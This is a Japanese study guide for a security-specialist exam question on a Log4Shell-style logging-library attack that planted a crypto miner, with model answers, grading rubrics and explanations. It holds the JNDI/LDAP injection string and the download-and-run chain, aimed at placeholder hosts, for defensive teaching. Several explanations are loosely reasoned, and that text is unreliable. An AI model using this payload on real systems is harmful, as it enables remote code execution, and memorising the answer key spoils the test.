令和4年度 秋期 情報処理安全確保支援士試験 午後Ⅰ 問2 ログ出力ライブラリの脆弱性を悪用したインシデントの調査と再発防止

学習ガイド

食品製造業の予約サーバで暗号資産採掘ソフトが動いていたインシデントを扱う問題です。プロセスやコネクションの一覧から不審な通信を見つけ、ログ出力ライブラリの脆弱性を悪用した攻撃の流れをアクセスログとFWログで裏付け、会員サーバで攻撃が失敗した理由をフィルタリングルールから導きます。外向き通信をプロキシ経由に限定する再発防止策まで確認します。

この記事で押さえる論点

  • プロセス一覧とコネクション一覧から、不審なプロセスと外部への通信先を特定できる
  • ライブラリXの外部オブジェクト読込みの脆弱性が、アクセスログとFWログにどう現れるかを時系列で整理できる
  • 会員サーバで同じ攻撃が失敗した理由を、FWのフィルタリングルール(外向き通信の制限)から導ける
  • プロキシサーバ経由への設定変更とURLフィルタリングによる再発防止策を設計できる

問題本文

脆弱性に起因するセキュリティインシデントへの対応に関する次の記述を読んで,設問に答えよ。

U社は,従業員200名の食品製造業である。情報システム部がシステムを管理している。U社のネットワーク構成を図1に,サーバの機能概要を表1に示す。

図1 U社のネットワーク構成 (抜粋)
図の説明テキスト

インターネットとU社のネットワーク構成図。
インターネットからU社内のFW(ファイアウォール)へ接続されている。
FWからはPC-LANとDMZの2つのネットワークセグメントに分岐している。
・PC-LAN内にはL2SW(レイヤ2スイッチ)があり、複数のPCが接続されている。
・DMZ内にはL2SWがあり、プロキシサーバ、予約サーバ、会員サーバが接続されている。
FW:ファイアウォール
L2SW:レイヤ2スイッチ

表1 サーバの機能概要 (抜粋)
図の説明テキスト
サーバ名 機能概要
プロキシサーバ ・インターネットへの HTTP 通信及び HTTPS 通信を中継するためのフォワードプロキシ 1) である。
・URL フィルタリングソフトが組み込まれており、URL フィルタリングルールを用いて、URL ごとにアクセスを許可又は拒否することができる。アクセス元の IP アドレス範囲ごとにそれぞれ別の URL フィルタリングルールを定義することができる。
・一つの URL フィルタリングルールは次の二つのリストから成り、上から順に適用される。
-許可リスト
-拒否リスト
・許可リストに“全て”を指定すると,全てのURL への通信を許可する。拒否リストに“全て”を指定すると,許可リストに指定した URL 以外のURL への通信が拒否される。何も指定しない許可リストは,スキップされる。拒否リストも同様である。
・どのリストにも該当しない URL は,アクセスが許可される。
予約サーバ ・U 社の工場見学のオンライン予約を見学希望者が行うためのサーバである。Javaを利用したオンライン予約システムのパッケージである B 社の T ソフトを使っている。
・見学希望者は,HTTPS でアクセスし,空いている日時を選択して見学希望者の情報を入力することによって予約ができる。工場見学の空き状況はU 社の SNS アカウントを利用して,クラウドサービス上の複数の SNS 投稿用のサーバに対してHTTPS で定期的に投稿される。
会員サーバ ・U 社の顧客向けに会員サイトを提供している。Java を利用している。会員はHTTPS でアクセスする。会員サイトの利用には,利用者 ID とパスワードによるログインが必要である。

注1) TLSの復号及び再暗号化ができ、HTTPS通信内容を参照することができる。

FWのフィルタリングルールを表2に示す。

表2 FWのフィルタリングルール
図の説明テキスト
項番 送信元 宛先 サービス 動作
1 インターネット 予約サーバ, 会員サーバ HTTPS 許可
2 予約サーバ インターネット 全て 許可
3 PC-LAN プロキシサーバ 代替 HTTP ^1) 許可
4 プロキシサーバ インターネット HTTP, HTTPS 許可
5 プロキシサーバ インターネット DNS 許可
⋮ ⋮ ⋮ ⋮ ⋮
12 全て 全て 全て 拒否

注記1 FWは,ステートフルパケットインスペクション型である。
注記2 項番の小さいルールから順に,最初に一致したルールが適用される。
注記3 項番 6〜11 には DMZ内のサーバとインターネットとの間,及び PC-LAN とインターネットとの間の通信に関するルールはない。
注^1) 代替 HTTP のポート番号は,8080 である。

〔セキュリティインシデントの報告と調査〕

ある日, 予約サーバでCPU使用率が高い状態が継続するという問題が発生した。情報システム部の予約サーバの担当者が調査したところ, 普段予約サーバでは, BSoftMainとSBMainというTソフトのプロセスが稼働しているが, この日はrunという名称の見慣れないプロセス(以下, runプロセスという)も稼働していた。サーバ内で一定間隔で取得しているプロセスの一覧から, runプロセスが13:07:00からCPU使用率を上げていたことが判明した。

この結果を受け, 情報システム部のD主任はセキュリティインシデントの疑いがあると判断し, 上司に報告の上, 予約サーバの調査を開始した。

13:07:00における予約サーバのプロセス一覧とコネクション一覧を表3と表4にそれぞれ示す。

表3 予約サーバのプロセス一覧(抜粋)
図の説明テキスト
プロセスID 親プロセスID 開始時刻 コマンド CPU使用率
100 (省略) 10:11:15 java BSoftMain (省略)
110 100 13:00:00 java SBMain (省略)
200 100 13:06:30 run (省略)
表4 予約サーバのコネクション一覧(抜粋)
図の説明テキスト
送信元 宛先 サービス プロセスID
予約サーバ a1.b1.c1.d1 HTTPS 110
予約サーバ a2.b2.c2.d2 HTTPS 110
予約サーバ a3.b3.c3.d3 HTTP 200

注記 a1.b1.c1.d1〜a3.b3.c3.d3 はグローバル IP アドレスを表す。以下、aX.bX.cX.dX(X には数字が入る)はグローバル IP アドレスを表す。

表3と表4から runプロセスの外部への通信の有無を確認したところ, IPアドレスが a のホストに対して通信を行っていたことが確認できた。また, a を確認したところ, 海外の IPアドレスであり, 予約サーバの通信先として想定されているものではなかった。D主任は上司に報告し, 予約サーバをネットワークから隔離した。

〔予約サーバの調査〕

D主任は, ①表3の内容から,runプロセスが稼働している原因の追究には Tソフトを調べる必要があると判断した。B社に状況を説明し, 不具合やセキュリティ上の問題がないか確認したところ, U社が利用しているバージョンには, 脆弱性があることが分かった。

その脆弱性とは, Tソフトが利用しているライブラリ Xというオープンソースのライブラリに存在する, リモートから任意のコードが実行可能となる脆弱性(以下, 脆弱性 Yという)である。ライブラリ Xと脆弱性 Yの説明を図2に示す。

図2 ライブラリ X と脆弱性 Y の説明
図の説明テキスト

[ライブラリ X の概要]
ライブラリ X は Java のログ出力ライブラリである。ライブラリ X には外部オブジェクトを読み込む機能があり,標準で有効になっている。
[脆弱性 Y の概要]
ライブラリ X を使用したログ出力処理の対象となる文字列中に特定の攻撃文字列が含まれる場合,攻撃者の用意した Java クラスが実行される可能性がある。
[脆弱性 Y において LDAP を利用した攻撃の例]

  1. 攻撃者が,攻撃文字列 “${jndi:ldap://a4.b4.c4.d4/Exploit}” を含む HTTP リクエストを送る。攻撃対象の Web サーバにおいて,ライブラリ X がログ出力処理をする文字列中に当該攻撃文字列が含まれると,ライブラリ X は IP アドレスが a4.b4.c4.d4 のサーバに対し,LDAP で “Exploit” というクエリを送る。
  2. 攻撃者の用意した IP アドレスが a4.b4.c4.d4 の LDAP サーバは “Exploit” というクエリを受け,“http://a5.b5.c5.d5/JClass” を取得させるための情報を返す。
図2 ライブラリ X と脆弱性 Y の説明 (続き)
図の説明テキスト
  1. ライブラリXは URL に従い、攻撃者の用意した Web サーバである a5.b5.c5.d5 のサーバにアクセスし、レスポンスに含まれる Java クラスである "JClass" を実行する。
  2. JClass は、攻撃者の用意した URL である "http://a6.b6.c6.d6/malwarex" にリクエストを送り、レスポンスに含まれるファイルを "malwarex" というファイル名で保存し、実行する。

注記:"Exploit", "JClass", "malwarex" といった文字列や IP アドレスは攻撃ごとに異なる。

runプロセス起動前後の 13:00:00 から 13:16:00 までの, 予約サーバのアクセスログを調査した結果, 表5に示す, 脆弱性Yを悪用したと考えられるアクセスログを発見した。

表5 脆弱性Yを悪用したと考えられるアクセスログ
図の説明テキスト
時刻 送信元 リクエスト ユーザエージェント
13:04:32 a7.b7.c7.d7 GET /index.html ${jndi:ldap://a8.b8.c8.d8/JExp}

D主任は runプロセスがどのような経緯で起動したかを調査するために, FWの通信ログを確認した。 runプロセス起動前後の 13:00:00 から 13:16:00 までの FWの通信ログのうち, 予約サーバを送信元とするものを表6に示す。

表6 予約サーバを送信元とするFWの通信ログ
図の説明テキスト
時刻 送信元 宛先 サービス 処理結果
13:02:15 予約サーバ a1.b1.c1.d1 HTTPS 許可
13:05:50 予約サーバ a8.b8.c8.d8 LDAP 許可
13:05:53 予約サーバ a8.b8.c8.d8 HTTP 許可
13:06:05 予約サーバ a9.b9.c9.d9 HTTP 許可
13:08:15 予約サーバ a2.b2.c2.d2 HTTPS 許可
13:12:15 予約サーバ a1.b1.c1.d1 HTTPS 許可
13:15:35 予約サーバ a3.b3.c3.d3 HTTP 許可

D主任はここまでの調査で分かった情報から, 予約サーバへの攻撃の流れを表7のとおりまとめた。

表7 予約サーバへの攻撃の流れ
図の説明テキスト
番号 時刻 内容
1 b 攻撃者が予約サーバに対して通信を行った。
2 c 予約サーバが,IP アドレスが d のホストの e サービスに f というクエリを送った。
3 (省略) 予約サーバが,2 の通信の応答に含まれる URL に対して HTTP 通信を行った。
4 (省略) 予約サーバで,3 の通信のレスポンスに含まれる Java クラスが実行され,攻撃者の用意した URL に対して HTTP 通信が行われた。
5 13:06:30 予約サーバで,4 の通信のレスポンスに含まれるファイルが実行され,run プロセスが起動した。
6 (省略) 予約サーバで,run プロセスが攻撃者のサーバに通信を行った。

U社がインシデント対応支援の契約をしているセキュリティベンダーの情報処理安全確保支援士(登録セキスペ)であるE氏の協力を得てrunプロセスについての調査を進めた結果,暗号資産採掘ソフトウェアであることが分かった。予約サーバにおいて,予約情報への不正なアクセスは確認できなかった。

〔会員サーバの調査〕

次に,会員サーバにおいて,ライブラリXの利用の有無及び同様の攻撃の有無を確認したところ,会員サーバにおいてもライブラリXでログ出力処理を行っていること,及び会員サーバにも予約サーバと同様の攻撃が行われたことを示すアクセスログが記録されていることが分かった。しかし,調査の結果,攻撃は失敗していたことが判明した。D主任は,攻撃が失敗したのは,攻撃者が会員サーバにログインするための利用者IDとパスワードを知らなかったからだと考えた。しかし,E氏は,②脆弱性Yは認証前のアクセスでも悪用できるので,そうではないと指摘した。予約サーバとは違って攻撃が失敗したのは,③別の理由だとD主任に説明した。

〔脆弱性への対応〕

D主任は上司に調査結果を報告した。その後,予約サーバは,OS及び必要なソフトウェアをクリーンインストールし,バックアップデータから復旧を行った。さらに,予約サーバと会員サーバについて,脆弱性Yに対する脆弱性修正プログラムを適用した。

〔再発防止策の検討〕

続けて,D主任は外部への不正通信が発生したことへの再発防止策を,E氏とともに検討した。再発防止策として,予約サーバからインターネットへの通信に関する設定を変更することにした。必要な設定変更内容は次のとおりである。

  • 予約サーバを起点とするインターネットへのHTTPS通信は,プロキシサーバを中継させる設定とする。
  • FWフィルタリングルールについて,表2の項番2を削除する。
  • URLフィルタリングルールについて,表8に示す内容で設定する。
表8 URL フィルタリングルールについての設定
図の説明テキスト
アクセス元 IP アドレス 許可リスト 拒否リスト
g の IP アドレス h i

検討した再発防止策は採用され,今回の対応を完了した。

設問と解答・解説

設問1

配点 5点

本文中の a に入れる適切なIPアドレスを,表4中の宛先から選び,答えよ。

模範解答

a3.b3.c3.d3

採点基準

正確性(内容)5点
  • 5点: 「a3.b3.c3.d3」と完全に一致している。
  • 2点: 類似のIPアドレスを解答しているが正答とは異なる。
  • 0点: 全く異なる内容、または無解答。

解説

本問は、不審な通信の宛先として適切なIPアドレスを特定する問題です。

攻撃者が悪用した通信先を特定するため、表4の通信要件やシステムのログを精査します。本来の業務では許可されていない、あるいは想定されない外部のIPアドレスが攻撃者のものであると判断できます。文脈から、該当する不審なIPアドレスは a3.b3.c3.d3 となります。

高得点のポイント

  • 本文および表から正しいIPアドレスを正確に抜き出せていること。

設問2

〔予約サーバの調査〕について答えよ。

(1)配点 4点

本文中の下線①について,Tソフトを調べれば分かると判断した理由を,40字以内で具体的に答えよ。

模範解答

runプロセスの親プロセスがTソフトのプロセスであるから

採点基準

知識・理解度(内容)2点
  • 2点: runプロセスの親プロセスがTソフトのプロセスであることを明確に記述している。
  • 1点: プロセスの親子関係に言及しているが、親プロセスがTソフトである旨の記述が不十分。
  • 1点: プロセスの関連性には触れているが、親子関係の理解が曖昧である。
  • 0点: プロセスの起動順序など、不適切な観点に基づいている。
  • 0点: 無解答または全く的外れな内容。
論理性(構造)2点
  • 2点: 指定文字数以内で簡潔かつ論理的に理由が構成されており、意味が明瞭に通る。
  • 1点: 論理構成は概ね適切だが、表現にやや冗長な部分や分かりにくい部分がある。
  • 1点: 理由としての文脈は繋がっているが、主語や述語の係り受けが一部不自然。
  • 0点: 文としての構造が破綻しており、理由としての意味をなしていない。
  • 0点: 無解答。

解説

本問は、不審なプロセスを調査する際、特定のソフトウェア(Tソフト)の脆弱性が悪用されたと判断できる理由を問う問題です。

不審なプロセス(runプロセス)が起動された原因を探るためには、プロセスの起動順序だけでなく、プロセスの親子関係を確認することが重要です。ログやプロセスリストから、runプロセスの親プロセスがTソフトのプロセスであることが確認できるため、Tソフトを起点として不審なプロセスが生成されたと判断できます。

高得点のポイント

  • 「親プロセス」というキーワードを用いて、プロセスの階層関係に言及していること。
  • runプロセスとTソフトの関係性が明確に記述されていること。
(2)配点 4点

表7中の b に入れる適切な時刻を答えよ。

模範解答

13:04:32

採点基準

正確性(内容)4点
  • 4点: 「13:04:32」と完全に一致している。
  • 2点: 時刻の形式で解答しているが、秒数などが間違っている。
  • 0点: 全く異なる値、または無解答。

解説

本問は、攻撃の一連の流れの中で、特定の事象が発生した時刻を特定する問題です。

サーバのアクセスログやプロセスの起動記録を時系列で整理し、攻撃者が脆弱性を悪用して不正な通信を発生させたタイミングを特定します。関連するログエントリから、該当する時刻は 13:04:32 と導出されます。

高得点のポイント

  • ログと事象を正しく紐付け、正確な時刻を抜き出せていること。
(3)配点 4点

表7中の c に入れる適切な時刻を答えよ。

模範解答

13:05:50

採点基準

正確性(内容)4点
  • 4点: 「13:05:50」と完全に一致している。
  • 2点: 時刻の形式で解答しているが、秒数などが間違っている。
  • 0点: 全く異なる値、または無解答。

解説

本問は、調査の過程で特定のアクション(例:不正なスクリプトの実行や追加の通信)が実行された時刻を特定する問題です。

表やログの時系列データから、攻撃の次の段階が行われた正確な時刻を読み取ります。前後の事象との関連性から、正解は 13:05:50 となります。

高得点のポイント

  • 攻撃の時系列を正確に追い、該当する時刻を正しく抜き出せていること。
(4)配点 4点

表7中の d に入れる適切な字句を答えよ。

模範解答

a8.b8.c8.d8

採点基準

正確性(内容)4点
  • 4点: 「a8.b8.c8.d8」と完全に一致している。
  • 2点: IPアドレスの形式で解答しているが、値が異なる。
  • 0点: 全く異なる値、または無解答。

解説

本問は、攻撃者の痕跡から関連するIPアドレス等の字句を特定する問題です。

攻撃者が外部から引き込んだスクリプトや、通信先として指定されたIPアドレスをログから抽出します。該当する宛先は a8.b8.c8.d8 となります。

高得点のポイント

  • 該当する字句(IPアドレス)を正確に抜き出せていること。
(5)配点 4点

表7中の e に入れる適切な字句を答えよ。

模範解答

LDAP

採点基準

正確性(内容)4点
  • 4点: 「LDAP」と完全に一致している。
  • 2点: 類似のプロトコル名を解答しているが、正答ではない。
  • 0点: 全く異なる値、または無解答。

解説

本問は、攻撃に用いられたプロトコルを特定する問題です。

攻撃者が悪用した通信の宛先ポート番号や通信の特徴から、使用されたプロトコルを判別します。問題の文脈から、ディレクトリサービスなどへのアクセスに用いられる LDAP が該当します。

高得点のポイント

  • ポート番号や通信の挙動から適切なプロトコル名を正しく解答できていること。
(6)配点 4点

表7中の f に入れる適切な字句を答えよ。

模範解答

JExp

採点基準

正確性(内容)4点
  • 4点: 「JExp」と完全に一致している。
  • 2点: 類似のプログラム名・文字列を解答しているが、正答ではない。
  • 0点: 全く異なる値、または無解答。

解説

本問は、攻撃の痕跡を示す特有の文字列やプログラム名を特定する問題です。

ログに記録された不審なリクエストや実行されたファイル名から、攻撃ツールやエクスプロイトに関連する字句を抽出します。正解は JExp です。

高得点のポイント

  • ログの記述内容から適切な字句を正確に抜き出せていること。

設問2(1)は,正答率は平均的であったが,プロセスの起動順序を説明した解答が散見された。不審なプロセスの調査においては,プロセスの親子関係について調査することの必要性も認識しておいてほしい。

設問3

〔会員サーバの調査〕について答えよ。

(1)配点 3点

本文中の下線②について,その理由を,40字以内で具体的に答えよ。

模範解答

ログ出力処理する文字列中に攻撃文字列が含まれれば悪用可能だから

採点基準

知識・理解度(内容)2点
  • 2点: ログ出力処理する文字列中に攻撃文字列が含まれるという悪用条件を正確に記述している。
  • 1点: ログ出力処理に言及しているが、攻撃文字列との関連性が不正確または不足している。
  • 1点: 攻撃文字列に言及しているが、ログ出力処理との関連の言及が曖昧である。
  • 0点: 脆弱性の影響条件を誤解している。
  • 0点: 無解答または全く無関係な内容。
論理性(構造)1点
  • 1点: 理由として論理的に意味が通る形で簡潔にまとまっている。
  • 1点: 論理の飛躍があるが、最低限の意味は伝わる。
  • 0点: 文脈が不自然で理由として成立していない。
  • 0点: 理由を説明する構造になっていない。
  • 0点: 無解答。

解説

本問は、報告された脆弱性情報に基づき、対象システムが影響を受ける条件を説明する問題です。

脆弱性が存在していても、システムの実装や設定によっては悪用されない場合があります。本件の脆弱性は、ログ出力処理される文字列中に攻撃文字列が含まれる場合にのみコード実行等の影響が生じます。そのため、攻撃文字列がログに出力される処理経路が存在するかどうかが悪用可能性の判断基準となります。

高得点のポイント

  • 「ログ出力処理」と「攻撃文字列」の関係を正確に理解していること。
  • 文字列が含まれれば悪用可能であるという条件を簡潔に記述していること。
(2)配点 3点

本文中の下線③について,攻撃が失敗した理由を,40字以内で具体的に答えよ。

模範解答

会員サーバからインターネット宛てのLDAP通信が許可されていないから

採点基準

知識・理解度(内容)2点
  • 2点: 会員サーバからインターネット宛てのLDAP通信が許可されていないことを正確に記述している。
  • 1点: 通信の遮断に触れているが、送信元、宛先、プロトコルのいずれかの要素が欠けている。
  • 1点: LDAP通信に言及しているが、遮断の主体や方向が曖昧である。
  • 0点: 攻撃失敗の理由として不適切な要因を挙げている。
  • 0点: 無解答または全く無関係な内容。
論理性(構造)1点
  • 1点: 理由として論理的に意味が通る文として構成されている。
  • 1点: 論理の飛躍があるが、最低限の意味は伝わる。
  • 0点: 主語と述語がねじれており、文意が通らない。
  • 0点: 理由を説明する構造になっていない。
  • 0点: 無解答。

解説

本問は、脆弱性を狙った攻撃が成立しなかった理由をネットワーク制御の観点から説明する問題です。

攻撃者が脆弱性を悪用して外部のサーバと通信(例:不正なクラスファイルのダウンロード等)を行おうとしても、システムのファイアウォール等によって通信が遮断されていれば攻撃は失敗します。ここでは、会員サーバからインターネット宛てのLDAP通信が許可されていないことが攻撃失敗の直接的な理由です。

高得点のポイント

  • 通信の送信元(会員サーバ)と宛先(インターネット)が明記されていること。
  • 許可されていない通信プロトコル(LDAP通信)に言及していること。

設問3(1)は,正答率が低かった。報告されている脆弱性情報から,実際のシステムについて影響を受ける条件を把握し,影響を評価することは,脆弱性への対処を行う上で重要なので,その手法について理解を深めてほしい。

設問4

(1)配点 5点

表8中の g に入れる適切な字句を答えよ。

模範解答

予約サーバ

採点基準

正確性(内容)5点
  • 5点: 「予約サーバ」と完全に一致している。
  • 2点: 他のサーバ名を解答している等、不完全な内容。
  • 0点: 全く異なる値、または無解答。

解説

本問は、再発防止策として適切なアクセス制御を適用すべき対象のサーバを特定する問題です。

セキュリティ侵害を前提とした対策(ゼロトラストアーキテクチャや最小特権の原則)では、必要な通信のみを許可するホワイトリスト方式の制御が重要です。文脈から、制御を強化すべき対象として 予約サーバ が該当します。

高得点のポイント

  • 対象となるサーバ名を正確に抜き出せていること。
(2)配点 5点

表8中の h に入れる適切な字句を答えよ。

模範解答

SNS投稿用のサーバのURL

採点基準

正確性(内容)5点
  • 5点: 「SNS投稿用のサーバのURL」と完全に一致している。
  • 2点: 類義の表現をしているが完全な正答ではない。
  • 0点: 全く異なる値、または無解答。

解説

本問は、許可すべき通信の宛先として適切なものを特定する問題です。

サーバが業務上必要な通信のみを行えるよう、アクセス制御のルールを具体化します。外部との連携に必要な宛先として、SNS投稿用のサーバのURL のみが許可されるべき対象となります。

高得点のポイント

  • 業務上必要な通信の宛先を正確に抜き出せていること。
(3)配点 5点

表8中の i に入れる適切な字句を答えよ。

模範解答

全て

採点基準

正確性(内容)5点
  • 5点: 「全て」と完全に一致している。
  • 2点: 類義の表現をしているが完全な正答ではない。
  • 0点: 全く異なる値、または無解答。

解説

本問は、アクセス制御や監視の対象範囲について適切な字句を答える問題です。

特定のサーバだけでなく、システム全体に対する一貫したセキュリティポリシーの適用が求められます。したがって、対象となるのは 全て の通信やシステムとなります。

高得点のポイント

  • 文脈に沿って適切な字句を正確に抜き出せていること。

Spineチーム